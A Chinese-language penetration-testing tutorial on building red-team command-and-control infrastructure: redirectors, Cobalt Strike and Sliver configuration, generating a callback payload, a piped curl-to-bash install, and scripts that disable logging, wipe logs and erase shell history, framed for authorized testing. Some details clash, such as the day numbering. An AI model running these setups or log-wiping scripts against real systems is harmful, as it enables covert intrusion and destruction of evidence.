Day-225-渗透测试中的红队基础设施搭建

# Day 244: 渗透测试中的红队基础设施搭建

> 渗透测试系列第 34 天 | 预计阅读时间：38 分钟 | 难度：★★★★★

---

## 清单 目录
1. [红队基础设施概述](#红队基础设施概述)
2. [基础设施设计原则](#基础设施设计原则)
3. [域名管理](#域名管理)
4. [IP 地址管理](#ip-地址管理)
5. [重定向器搭建](#重定向器搭建)
6. [C2 服务器配置](#c2-服务器配置)
7. [流量管理](#流量管理)
8. [安全通信](#安全通信)
9. [基础设施自动化](#基础设施自动化)
10. [反溯源技术](#反溯源技术)
11. [基础设施监控](#基础设施监控)
12. [应急清理](#应急清理)
13. [实战案例](#实战案例)
14. [总结与思考](#总结与思考)
15. [参考资料](#参考资料)

---

## 红队基础设施概述

### 什么是红队基础设施

红队基础设施是红队行动中用于指挥控制 (C2)、数据外传、载荷投递的所有技术组件的总和。良好的基础设施设计是红队行动成功的关键。

```
┌─────────────────────────────────────────────────────────────────┐
│                    红队基础设施核心组件                          │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  目标设备 (Victim)                                              │
│       ↓                                                         │
│  重定向器 (Redirector) ← 流量转发、隐藏真实 C2                   │
│       ↓                                                         │
│  团队服务器 (Team Server) ← C2 核心、会话管理                     │
│       ↓                                                         │
│  操作端 (Operator) ← 红队成员操作界面                            │
│                                                                 │
│  辅助组件：                                                      │
│  ├── 域名系统 (Domain)                                          │
│  ├── IP 地址 (IP Address)                                       │
│  ├── SSL 证书 (Certificate)                                     │
│  ├── 监听器 (Listener)                                          │
│  ├── 载荷存储 (Payload Hosting)                                 │
│  └── 数据外传 (Exfiltration)                                    │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘
```

### 基础设施重要性

```
为什么基础设施至关重要:
├── 隐蔽性
│   ├── 隐藏真实身份
│   ├── 隐藏真实位置
│   └── 避免被追踪
├── 弹性
│   ├── 单点故障容忍
│   ├── 快速恢复能力
│   └── 备用通道
├── 可扩展性
│   ├── 支持多目标
│   ├── 支持多操作者
│   └── 支持多阶段
├── 可控性
│   ├── 流量控制
│   ├── 会话管理
│   └── 数据管理
└── 可否认性
    ├── 使用被黑基础设施
    ├── 流量混淆
    └── 快速销毁
```

### ! 法律与道德警示

```
┌─────────────────────────────────────────────────────────────────┐
│ !  重要警示：基础设施搭建的法律边界                            │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  合法行为：                                                      │
│  + 租赁云服务器搭建 C2                                          │
│  + 注册域名用于测试                                             │
│  + 配置重定向器                                                 │
│  + 使用 CDN 服务                                                 │
│                                                                 │
│  非法行为：                                                      │
│  - 入侵他人服务器作为 C2                                        │
│  - 劫持合法域名                                                   │
│  - 滥用免费服务                                                 │
│  - 攻击第三方基础设施                                           │
│                                                                 │
│  必须遵守：                                                      │
│  - 仅用于授权渗透测试                                            │
│  - 遵守云服务提供商政策                                          │
│  - 遵守当地法律法规                                              │
│  - 测试后完全清理                                                │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘
```

---

## 基础设施设计原则

### OPSEC 原则

```
OPSEC (Operational Security) 原则:
├── 最小化足迹
│   ├── 最少必要组件
│   ├── 最小权限
│   └── 最小暴露
├── 分层隔离
│   ├── 重定向器与 C2 隔离
│   ├── 不同阶段使用不同基础设施
│   └── 目标间隔离
├── 流量伪装
│   ├── 模仿合法流量
│   ├── 使用常见端口
│   └── 加密通信
├── 快速变更
│   ├── 快速切换基础设施
│   ├── 动态域名/IP
│   └── 备用方案
└── 可销毁性
    ├── 快速销毁证据
    ├── 自动化清理
    └── 远程擦除
```

### 基础设施架构模式

```
常见架构模式:
├── 简单模式
│   Victim → C2 Server → Operator
│   适用：小型测试、内部测试
│   风险：C2 易暴露
├── 重定向模式
│   Victim → Redirector → C2 Server → Operator
│   适用：大多数红队行动
│   风险：中等
├── 多层重定向
│   Victim → Redirector1 → Redirector2 → C2 → Operator
│   适用：高安全目标
│   风险：低
├── 域名前置
│   Victim → CDN → C2 Server → Operator
│   适用：规避审查
│   风险：CDP 可能封禁
└── 被黑基础设施
│   Victim → Compromised Server → C2 → Operator
│   适用：高级行动
│   风险：法律风险
```

### 生命周期管理

```
基础设施生命周期:
├── 规划阶段
│   ├── 需求分析
│   ├── 风险评估
│   └── 资源准备
├── 搭建阶段
│   ├── 域名注册
│   ├── 服务器配置
│   └── 工具部署
├── 运营阶段
│   ├── 监控维护
│   ├── 变更管理
│   └── 应急响应
├── 变更阶段
│   ├── 定期轮换
│   ├── 按需切换
│   └── 紧急替换
└── 清理阶段
    ├── 数据擦除
    ├── 资源释放
    └── 痕迹清理
```

---

## 域名管理

### 域名选择策略

```
域名选择考虑:
├── 域名年龄
│   ├── 老域名可信度高
│   └── 新域名易被怀疑
├── 域名相似性
│   ├── 目标公司相似域名
│   ├── 常见服务域名
│   └── 避免明显恶意
├── TLD 选择
│   ├── .com/.net/.org (常见)
│   ├── 国家 TLD (针对性)
│   └── 避免可疑 TLD
├── 子域名策略
│   ├── 多子域名隔离
│   ├── 功能子域名
│   └── 动态子域名
└── 注册信息
    ├── 隐私保护
    ├── 虚假信息 (法律风险)
    └── 公司信息
```

### 域名注册

```bash
# 域名注册商选择
# 推荐:
# - Namecheap (隐私保护好)
# - GoDaddy (最大注册商)
# - Cloudflare (免费隐私)
# - Porkbun (价格便宜)

# 批量注册域名
# 使用脚本自动化
for domain in domain1.com domain2.com domain3.com; do
    # 通过 API 注册
    curl -X POST https://api.registrar.com/register \
        -d "domain=$domain" \
        -d "privacy=true"
done
```

### DNS 配置

```
DNS 记录配置:
├── A 记录
│   └── 域名→IP 映射
├── CNAME 记录
│   └── 域名别名
├── MX 记录
│   └── 邮件服务器 (如需要)
├── TXT 记录
│   ├── SPF/DKIM/DMARC
│   └── 验证记录
├── NS 记录
│   └── 域名服务器
└── CAA 记录
    └── 证书颁发授权
```

```bash
# 使用 Cloudflare API 配置 DNS
curl -X POST "https://api.cloudflare.com/client/v4/zones/ZONE_ID/dns_records" \
    -H "Authorization: Bearer API_KEY" \
    -H "Content-Type: application/json" \
    --data '{"type":"A","name":"c2.example.com","content":"1.2.3.4","ttl":300}'

# 使用 Route53 (AWS)
aws route53 change-resource-record-sets \
    --hosted-zone-id ZONE_ID \
    --change-batch file://change.json
```

### 域名轮换

```
域名轮换策略:
├── 时间轮换
│   └── 定期更换域名 (每周/每月)
├── 事件轮换
│   └── 检测到暴露时更换
├── 目标轮换
│   └── 不同目标使用不同域名
└── 功能轮换
    └── 不同功能使用不同域名
```

```bash
# 自动化域名轮换脚本
#!/bin/bash
DOMAINS=("c2-01.example.com" "c2-02.example.com" "c2-03.example.com")
CURRENT_INDEX=$(cat /var/lib/c2/domain_index)
NEXT_INDEX=$(( (CURRENT_INDEX + 1) % ${#DOMAINS[@]} ))

# 更新 DNS 记录
update_dns "${DOMAINS[$NEXT_INDEX]}" "NEW_IP"

# 更新 C2 配置
update_c2_config "${DOMAINS[$NEXT_INDEX]}"

# 记录轮换
echo $NEXT_INDEX > /var/lib/c2/domain_index
```

---

## IP 地址管理

### IP 地址来源

```
IP 地址来源:
├── 云服务器
│   ├── AWS EC2
│   ├── DigitalOcean
│   ├── Vultr
│   ├── Linode
│   └── Azure
├── VPS 提供商
│   ├── OVH
│   ├── Hetzner
│   └── 本地提供商
├── 被黑服务器
│   └── ! 非法，不推荐
└── 代理网络
    ├── 住宅代理
    └── 数据中心代理
```

### IP 信誉管理

```
IP 信誉考虑:
├── IP 历史
│   ├── 检查是否在黑名单
│   └── 检查历史活动
├── 地理位置
│   ├── 选择合适地区
│   └── 避免敏感地区
├── ASN 信誉
│   ├── 某些 ASN 信誉差
│   └── 选择常见云提供商
└── 使用模式
    ├── 避免异常流量
    └── 模仿正常用户
```

```bash
# 检查 IP 信誉
# 使用 VirusTotal
curl -X GET "https://www.virustotal.com/api/v3/ip_addresses/1.2.3.4" \
    -H "x-apikey: YOUR_API_KEY"

# 使用 AbuseIPDB
curl -X GET "https://api.abuseipdb.com/api/v2/check?ipAddress=1.2.3.4" \
    -H "Key: YOUR_API_KEY"

# 使用 Spamhaus
dig 4.3.2.1.zen.spamhaus.org
```

### IP 轮换

```
IP 轮换策略:
├── 弹性 IP
│   └── 云提供商弹性 IP 快速切换
├── 多 IP 池
│   └── 维护 IP 池，按需切换
├── 代理链
│   └── 通过多层代理
└── Tor 网络
    └── 通过 Tor 隐藏
```

---

## 重定向器搭建

### 重定向器作用

```
重定向器功能:
├── 隐藏 C2 真实 IP
├── 流量转发
├── 负载均衡
├── 流量过滤
├── 日志记录
└── 紧急切断
```

### Nginx 重定向器

```nginx
# Nginx 反向代理配置
# /etc/nginx/sites-available/redirector

server {
    listen 80;
    server_name c2.example.com;
    
    # HTTP 重定向到 HTTPS
    return 301 https://$server_name$request_uri;
}

server {
    listen 443 ssl;
    server_name c2.example.com;
    
    # SSL 配置
    ssl_certificate /etc/ssl/certs/c2.crt;
    ssl_certificate_key /etc/ssl/private/c2.key;
    ssl_protocols TLSv1.2 TLSv1.3;
    
    # C2 流量转发到团队服务器
    location /api/ {
        proxy_pass https://TEAM_SERVER_IP:8443;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        
        # 模仿正常流量
        proxy_set_header User-Agent $http_user_agent;
    }
    
    # 其他流量重定向到合法网站 (伪装)
    location / {
        proxy_pass https://www.google.com;
        proxy_set_header Host www.google.com;
    }
}
```

### Apache 重定向器

```apache
# Apache 反向代理配置
# /etc/apache2/sites-available/redirector.conf

<VirtualHost *:80>
    ServerName c2.example.com
    
    # 启用 SSL
    SSLEngine on
    SSLCertificateFile /etc/ssl/certs/c2.crt
    SSLCertificateKeyFile /etc/ssl/private/c2.key
    
    # C2 流量代理
    ProxyPreserveHost On
    ProxyPass /api/ https://TEAM_SERVER_IP:8443/
    ProxyPassReverse /api/ https://TEAM_SERVER_IP:8443/
    
    # 其他流量伪装
    ProxyPass / https://www.google.com/
    ProxyPassReverse / https://www.google.com/
</VirtualHost>
```

### HAProxy 重定向器

```haproxy
# HAProxy 配置
# /etc/haproxy/haproxy.cfg

global
    log /dev/log local0
    maxconn 4096

defaults
    log global
    mode http
    timeout connect 5000ms
    timeout client 50000ms
    timeout server 50000ms

frontend https_front
    bind *:443 ssl crt /etc/ssl/certs/c2.pem
    acl is_c2 path_beg /api/
    use_backend c2_backend if is_c2
    default_backend legitimate_backend

backend c2_backend
    server team_server TEAM_SERVER_IP:8443 ssl verify none

backend legitimate_backend
    server google www.google.com:443 ssl verify none
```

### 多层重定向

```
多层重定向架构:
┌─────────────────────────────────────────────────────────┐
│                    多层重定向                            │
├─────────────────────────────────────────────────────────┤
│                                                         │
│  Victim                                                 │
│    ↓                                                    │
│  Redirector 1 (云服务器 A)                              │
│    ↓                                                    │
│  Redirector 2 (云服务器 B)                              │
│    ↓                                                    │
│  Team Server (云服务器 C)                               │
│    ↓                                                    │
│  Operator                                               │
│                                                         │
│  优势：                                                  │
│  - 更难追踪到真实 C2                                    │
│  - 单层暴露不影响整体                                   │
│  - 可逐层替换                                           │
│                                                         │
└─────────────────────────────────────────────────────────┘
```

---

## C2 服务器配置

### C2 框架选择

```
主流 C2 框架:
├── Cobalt Strike
│   ├── 功能最强大
│   ├── 商业软件 (昂贵)
│   └── 特征明显 (易检测)
├── Metasploit Framework
│   ├── 开源免费
│   ├── 功能全面
│   └── 特征明显
├── Sliver
│   ├── 开源 (Go 语言)
│   ├── 类似 Cobalt Strike
│   └── 较新 (检测少)
├── Mythic
│   ├── 开源 (Python)
│   ├── 插件化架构
│   └── 现代化设计
├── Empire
│   ├── 开源 (Python/PowerShell)
│   ├── 后渗透强大
│   └── 特征明显
└── Brute Ratel
    ├── 商业 (Cobalt Strike 替代)
    ├── 绕过检测好
    └── 昂贵
```

### Cobalt Strike 配置

```bash
# Cobalt Strike Team Server 配置
# teamserver 脚本

# 启动 Team Server
./teamserver [C2_IP] [Password] [Malleable C2 Profile]

# Malleable C2 Profile 配置
# 定义流量特征，模仿合法流量

http-get {
    set uri "/api/v1/analytics";
    
    client {
        header "Accept" "application/json";
        header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)";
    }
    
    server {
        header "Content-Type" "application/json";
        header "Server" "nginx/1.18.0";
    }
}

http-post {
    set uri "/api/v1/events";
    
    client {
        header "Content-Type" "application/json";
        header "Authorization" "Bearer token123";
    }
}
```

### Sliver 配置

```bash
# Sliver C2 配置
# 安装 Sliver
curl https://sliver.sh/install | sudo bash

# 启动 Sliver
sudo -u sliver /opt/sliver/bin/sliver-server

# 创建监听器
sliver> generate --mtls c2.example.com:8888 --save /tmp/payload.exe

# 创建多个监听器
sliver> mtls --lhost 0.0.0.0 --lport 8888
sliver> http --lhost 0.0.0.0 --lport 80
sliver> https --lhost 0.0.0.0 --lport 443
```

### 多 C2 架构

```
多 C2 架构:
├── 主备 C2
│   ├── 主 C2 在线
│   └── 备 C2 待命
├── 负载均衡
│   ├── 多 C2 并行
│   └── 自动分配
├── 功能分离
│   ├── 初始访问 C2
│   ├── 持久化 C2
│   └── 数据外传 C2
└── 地理分布
    ├── 不同地区 C2
    └── 降低延迟
```

---

## 流量管理

### 流量伪装

```
流量伪装技术:
├── 协议模仿
│   ├── HTTPS (最常见)
│   ├── DNS (隐蔽)
│   └── ICMP (少见)
├── 域名前置
│   ├── 使用 CDN 域名
│   └── 隐藏真实域名
├── 流量混合
│   ├── 混合合法流量
│   └── 难以区分
└── 时间伪装
    ├── 模仿正常时间模式
    └── 避免异常时间
```

### 域名前置 (Domain Fronting)

```
域名前置原理:
├── 利用 CDN 特性
│   ├── SNI 显示合法域名
│   └── Host 头显示 C2 域名
├── CDN 路由
│   └── CDN 根据 Host 头路由
└── 观察者看到
    └── 只看到合法域名
```

```
! 注意：
- 主要 CDN 提供商已禁止域名前置
- AWS CloudFront (2018 禁止)
- Google App Engine (2018 禁止)
- Azure CDN (2019 禁止)
- 但仍有一些小提供商支持
```

### 流量加密

```
流量加密层级:
├── 传输层加密
│   ├── TLS/SSL
│   └── 标准 HTTPS
├── 应用层加密
│   ├── C2 协议加密
│   └── 自定义加密
├── 载荷加密
│   ├── Shellcode 加密
│   └── 配置加密
└── 通道加密
    ├── SSH 隧道
    └── VPN 隧道
```

```bash
# 生成自签名证书
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

# 使用 Let's Encrypt (推荐)
certbot --nginx -d c2.example.com

# 配置证书
# Nginx/Cobalt Strike 等使用证书
```

---

## 安全通信

### 通信安全

```
通信安全要求:
├── 机密性
│   └── 加密通信内容
├── 完整性
│   └── 防止篡改
├── 认证
│   └── 验证通信双方
└── 不可抵赖
    └── 防止否认
```

### SSH 隧道

```bash
# SSH 反向隧道 (从 C2 到操作端)
ssh -R 8080:localhost:80 user@operator-server

# SSH 正向隧道 (从操作端到 C2)
ssh -L 8080:c2-server:80 user@c2-server

# SSH 动态隧道 (SOCKS 代理)
ssh -D 1080 user@c2-server

# 保持连接
ssh -o ServerAliveInterval=60 -o ServerAliveCountMax=3 user@c2-server
```

### VPN 隧道

```bash
# WireGuard 配置
# 服务器端
[Interface]
Address = 10.0.0.1/24
ListenPort = 51820
PrivateKey = SERVER_PRIVATE_KEY

[Peer]
PublicKey = CLIENT_PUBLIC_KEY
AllowedIPs = 10.0.0.2/32

# 客户端
[Interface]
Address = 10.0.0.2/24
PrivateKey = CLIENT_PRIVATE_KEY

[Peer]
PublicKey = SERVER_PUBLIC_KEY
Endpoint = c2.example.com:51820
AllowedIPs = 0.0.0.0/0
```

---

## 基础设施自动化

### 自动化部署

```bash
# 使用 Terraform 自动化基础设施
# main.tf

provider "aws" {
  region = "us-east-1"
}

resource "aws_instance" "redirector" {
  ami           = "ami-0c55b159cbfafe1f0"
  instance_type = "t2.micro"
  
  tags = {
    Name = "redirector-1"
  }
  
  user_data = <<-EOF
              #!/bin/bash
              apt-get update
              apt-get install -y nginx
              # 配置重定向器...
              EOF
}

resource "aws_instance" "team_server" {
  ami           = "ami-0c55b159cbfafe1f0"
  instance_type = "t2.small"
  
  tags = {
    Name = "team-server-1"
  }
}
```

### 配置管理

```bash
# 使用 Ansible 配置管理
# playbook.yml

- hosts: redirectors
  become: yes
  tasks:
    - name: Install nginx
      apt:
        name: nginx
        state: present
    
    - name: Configure nginx
      template:
        src: nginx.conf.j2
        dest: /etc/nginx/nginx.conf
    
    - name: Start nginx
      service:
        name: nginx
        state: started

- hosts: team_servers
  become: yes
  tasks:
    - name: Install Cobalt Strike
      copy:
        src: cobaltstrike.zip
        dest: /opt/cobaltstrike.zip
    
    - name: Configure team server
      script: setup_team_server.sh
```

### 监控脚本

```bash
#!/bin/bash
# 基础设施监控脚本

# 检查服务状态
check_service() {
    service=$1
    if ! systemctl is-active --quiet $service; then
        echo "[ALERT] $service is down"
        # 发送告警
        send_alert "$service is down"
        # 尝试重启
        systemctl restart $service
    fi
}

# 检查连接性
check_connectivity() {
    host=$1
    if ! ping -c 1 -W 1 $host > /dev/null; then
        echo "[ALERT] Cannot reach $host"
        send_alert "Cannot reach $host"
    fi
}

# 检查证书有效期
check_cert() {
    domain=$1
    days=$(echo | openssl s_client -connect $domain:443 2>/dev/null | \
           openssl x509 -noout -enddate | cut -d= -f2)
    echo "Certificate for $domain expires: $days"
}

# 主循环
while true; do
    check_service nginx
    check_service cobaltstrike
    check_connectivity c2.example.com
    sleep 300
done
```

---

## 反溯源技术

### 日志管理

```
日志管理策略:
├── 最小化日志
│   └── 只记录必要信息
├── 日志轮转
│   └── 定期清理旧日志
├── 远程日志
│   └── 日志发送到外部
└── 无日志
    └── 禁用日志记录
```

```bash
# 禁用系统日志
# /etc/rsyslog.conf
# 注释掉所有日志规则

# 禁用 journalctl
systemctl disable systemd-journald

# 清理历史命令
export HISTSIZE=0
export HISTFILESIZE=0
unset HISTFILE

# 禁用 bash 历史
ln -sf /dev/null ~/.bash_history
```

### 痕迹清理

```bash
# 紧急清理脚本
#!/bin/bash

# 停止服务
systemctl stop nginx
systemctl stop cobaltstrike

# 删除日志
rm -rf /var/log/*
rm -rf ~/.bash_history
rm -rf /root/.bash_history

# 删除配置文件
rm -rf /etc/nginx/sites-available/*
rm -rf /opt/cobaltstrike/*

# 删除用户
userdel -r operator

# 删除 SSH 密钥
rm -rf ~/.ssh/*

# 清理临时文件
rm -rf /tmp/*
rm -rf /var/tmp/*

# 清空回收站
rm -rf ~/.local/share/Trash/*

# 覆盖删除 (可选)
shred -u /var/log/syslog
```

### 快速销毁

```
快速销毁方案:
├── 云实例终止
│   └── API 调用终止实例
├── 远程擦除
│   └── SSH 执行清理脚本
├── 自毁脚本
│   └── 定时/触发执行
└── 物理销毁
    └── 最后手段
```

```bash
# 远程擦除脚本
#!/bin/bash
# 通过 API 终止云实例

# AWS
aws ec2 terminate-instances --instance-ids i-1234567890

# DigitalOcean
curl -X POST "https://api.digitalocean.com/v2/droplets/12345678/actions" \
    -H "Authorization: Bearer $TOKEN" \
    -d '{"type":"destroy"}'

# 清理 DNS
curl -X DELETE "https://api.cloudflare.com/client/v4/zones/ZONE_ID/dns_records/RECORD_ID" \
    -H "Authorization: Bearer $TOKEN"
```

---

## 基础设施监控

### 监控指标

```
关键监控指标:
├── 可用性
│   ├── 服务状态
│   ├── 连接性
│   └── 响应时间
├── 安全性
│   ├── 入侵检测
│   ├── 异常流量
│   └── 登录尝试
├── 性能
│   ├── CPU 使用率
│   ├── 内存使用率
│   └── 带宽使用
└── 业务
    ├── 活跃会话
    ├── 数据量
    └── 操作日志
```

### 监控工具

```bash
# 使用 Prometheus + Grafana 监控

# Prometheus 配置
# prometheus.yml
global:
  scrape_interval: 15s

scrape_configs:
  - job_name: 'redirector'
    static_configs:
      - targets: ['redirector1:9100', 'redirector2:9100']
  
  - job_name: 'team_server'
    static_configs:
      - targets: ['teamserver:9100']

# 告警规则
# alerting.yml
groups:
  - name: infrastructure
    rules:
      - alert: ServiceDown
        expr: up == 0
        for: 1m
        annotations:
          summary: "Service {{ $labels.instance }} is down"
```

### 告警配置

```bash
# 告警通知配置
# 使用 Telegram Bot

send_alert() {
    message=$1
    curl -X POST "https://api.telegram.org/bot$BOT_TOKEN/sendMessage" \
        -d "chat_id=$CHAT_ID" \
        -d "text=[ALERT] $message"
}

# 使用邮件
send_email_alert() {
    message=$1
    echo "$message" | mail -s "Infrastructure Alert" admin@example.com
}

# 使用 Slack
send_slack_alert() {
    message=$1
    curl -X POST $SLACK_WEBHOOK \
        -H 'Content-type: application/json' \
        --data "{\"text\":\"[ALERT] $message\"}"
}
```

---

## 应急清理

### 应急计划

```
应急计划要素:
├── 触发条件
│   ├── 基础设施暴露
│   ├── 被追踪定位
│   ├── 法律要求
│   └── 行动结束
├── 清理步骤
│   ├── 停止服务
│   ├── 删除数据
│   ├── 销毁实例
│   └── 清理 DNS
├── 责任人
│   └── 明确谁执行
└── 验证
    └── 确认清理完成
```

### 清理检查清单

```
清理检查清单:
├── 服务器清理
│   - [ ] 停止所有服务
│   - [ ] 删除所有日志
│   - [ ] 删除配置文件
│   - [ ] 删除用户账户
│   - [ ] 删除 SSH 密钥
│   - [ ] 清空临时文件
│   - [ ] 覆盖敏感数据
│   - [ ] 终止实例
├── 域名清理
│   - [ ] 删除 DNS 记录
│   - [ ] 转移/删除域名
│   - [ ] 清理注册信息
├── 证书清理
│   - [ ] 吊销证书
│   - [ ] 删除私钥
└── 记录清理
    - [ ] 删除操作日志
    - [ ] 删除通信记录
    - [ ] 删除配置文件
```

---

## 实战案例

### 案例一：企业红队演练基础设施

#### 场景描述

```
客户：某大型企业
目标：评估检测和响应能力
时间：4 周
规模：5000+ 员工
```

#### 基础设施架构

```
架构设计:
┌─────────────────────────────────────────────────────────┐
│                    红队基础设施                          │
├─────────────────────────────────────────────────────────┤
│                                                         │
│  目标网络                                               │
│    ↓                                                    │
│  Redirector 1 (AWS, us-east-1)                          │
│  Redirector 2 (DigitalOcean, nyc3)                      │
│    ↓                                                    │
│  Team Server 1 (Vultr, lon)                             │
│  Team Server 2 (备用，Hetzner)                          │
│    ↓                                                    │
│  Operator (本地)                                        │
│                                                         │
│  域名：                                                 │
│  - c2.legitimate-cdn.com (主)                           │
│  - api.legitimate-cdn.com (备用)                        │
│                                                         │
│  证书：Let's Encrypt                                    │
│  加密：TLS 1.3                                          │
│                                                         │
└─────────────────────────────────────────────────────────┘
```

#### 配置细节

```
配置详情:
├── 域名
│   - 注册于 Namecheap
│   - 隐私保护启用
│   - DNS 托管于 Cloudflare
├── 服务器
│   - 4 台云服务器
│   - 不同提供商
│   - 不同地区
├── 重定向器
│   - Nginx 反向代理
│   - 流量伪装 (混合合法流量)
│   - 日志最小化
├── C2
│   - Cobalt Strike
│   - Malleable C2 Profile
│   - 模仿正常流量
└── 监控
    - Prometheus + Grafana
    - Telegram 告警
    - 自动重启
```

#### 运营经验

```
经验教训:
├── 成功点
│   + 多层重定向有效隐藏 C2
│   + 流量伪装避免检测
│   + 快速轮换应对暴露
│   + 监控及时发现问题
├── 问题点
│   - 1 台服务器被云提供商封禁
│   - 域名被加入黑名单
│   - 证书过期未及时发现
└── 改进
    + 增加备用服务器
    + 准备域名池
    + 自动化证书管理
```

---

## 总结与思考

### 核心要点回顾

1. **基础设施是红队行动基础**
   - 良好的设计决定行动成败
   - 需要充分规划和准备
   - 持续维护和监控

2. **OPSEC 是核心原则**
   - 隐藏真实身份和位置
   - 分层隔离降低风险
   - 快速变更应对暴露

3. **重定向器必不可少**
   - 保护真实 C2
   - 流量伪装
   - 快速切断

4. **自动化提高效率**
   - 自动化部署
   - 自动化监控
   - 自动化清理

5. **应急计划必须准备**
   - 快速销毁能力
   - 完整清理流程
   - 明确责任人

### 深入思考

#### 基础设施的挑战

1. **成本**: 多服务器、多域名成本高
2. **复杂度**: 多层架构管理复杂
3. **检测**: 蓝队检测能力增强
4. **合规**: 云提供商政策限制
5. **追踪**: 执法能力增强

#### 未来趋势

1. **云原生**: 容器化、无服务器
2. **AI 辅助**: 智能流量伪装
3. **去中心化**: P2P C2
4. **合法化**: 更像正常流量
5. **自动化**: 全自动基础设施

### 实战建议

1. **对红队人员**:
   - 充分规划基础设施
   - 实施多层重定向
   - 持续监控和维护
   - 准备应急计划
   - 定期轮换

2. **对组织**:
   - 理解红队基础设施特征
   - 部署检测能力
   - 建立响应流程
   - 定期演练

3. **对蓝队**:
   - 学习红队基础设施特征
   - 部署网络监控
   - 分析流量模式
   - 追踪基础设施

---

## 参考资料

### 学习资源

- **Red Team Infrastructure Wiki**
  - https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki

- **Cobalt Strike Manual**
  - https://cobaltstrike.com/help

- **AWS Security Best Practices**
  - https://aws.amazon.com/security/

### 工具资源

| 工具 | 用途 | 链接 |
|------|------|------|
| **Cobalt Strike** | C2 框架 | https://cobaltstrike.com/ |
| **Sliver** | C2 框架 | https://github.com/BishopFox/sliver |
| **Mythic** | C2 框架 | https://github.com/its-a-feature/Mythic |
| **Terraform** | 基础设施即代码 | https://www.terraform.io/ |
| **Ansible** | 配置管理 | https://www.ansible.com/ |
| **Prometheus** | 监控 | https://prometheus.io/ |
| **Nginx** | 重定向器 | https://nginx.org/ |
| **HAProxy** | 负载均衡 | https://www.haproxy.org/ |

### 书籍推荐

1. **《Red Team Development and Operations》**
   - 章节：Infrastructure
   - 红队基础设施权威指南

2. **《The Red Team Field Manual》**
   - 作者：Ben Clark
   - 包含基础设施快速参考

3. **《Advanced Penetration Testing》**
   - 作者：Wil Allsopp
   - 包含 C2 基础设施章节

4. **《Red Team Field Manual (RTFM)》**
   - 作者：Ben Clark
   - 实战参考手册

---

*365 天信息安全技术系列 | Day 244 | 渗透测试系列 | 红队基础设施搭建*
*创建时间：2026-04-12 | 作者：安全专家 · 严谨专业版*